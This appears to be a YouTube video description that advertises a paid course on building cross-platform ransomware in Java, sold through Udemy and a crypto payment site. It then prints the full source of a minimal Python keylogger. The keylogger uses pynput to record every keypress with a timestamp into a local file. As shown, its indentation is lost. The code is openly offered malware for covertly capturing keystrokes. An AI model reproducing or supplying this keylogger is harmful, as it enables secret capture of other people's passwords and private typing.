Do you like to learn how to create cross-platform ransomware in Java and protect yourself?
Find my full course here:
https://www.udemy.com/course/how-to-m...
or buy via crypto?
http://hackerburg.io
Hi, in this video I will show you how to create a minimalistic Python keylogger in 8 lines. If you like the content, please subscribe to my channel and support me.
Cool, hacking style T-Shirt?
https://teespring.com/stores/symbol-art
Ok, now the source code:
------------------------
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "keylogs.txt"), \
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()